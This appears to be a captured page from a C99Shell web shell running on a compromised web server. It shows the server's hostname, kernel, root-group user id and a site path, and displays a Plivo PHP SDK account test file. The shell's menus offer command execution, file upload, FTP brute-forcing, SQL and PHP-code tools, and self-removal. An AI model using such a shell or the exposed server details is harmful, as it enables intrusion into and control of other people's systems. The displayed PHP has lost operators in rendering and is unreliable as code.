!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/tests/Resources/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AccountTest.php (1.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Resources;


use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\Tests\BaseTestCase;


/**
 * Class AccountTest
 * @package Plivo\Tests\Resources
 */
class AccountTest extends BaseTestCase
{
    
/**
     *
     */
    
function testAccountGetDetails()
    {
        
$request = new PlivoRequest(
            
'GET',
            
'Account/MAXXXXXXXXXXXXXXXXXX/',
            []);
        
$body file_get_contents(__DIR__ '/../Mocks/accountGetResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->accounts->get();

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->authId"MAXXXXXXXXXXXXXXXXXX");
    }

    function 
testAccountModify()
    {
        
$request = new PlivoRequest(
            
'POST',
            
'Account/MAXXXXXXXXXXXXXXXXXX/',
            [
                
'name' => "name",
                
'city' => "city",
                
'address' => "address"
            
]);
        
$body file_get_contents(__DIR__ '/../Mocks/accountModifyResponse.json');

        
$this->mock(new PlivoResponse($request,200$body));

        
$actual $this->client->accounts->update("name""city""address");

        
$this->assertRequest($request);

        
self::assertNotNull($actual);

        
self::assertEquals($actual->message"changed");
        
self::assertEquals($actual->apiId"964edb6e-3f08-11e7-920b-0600a1193e9b");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--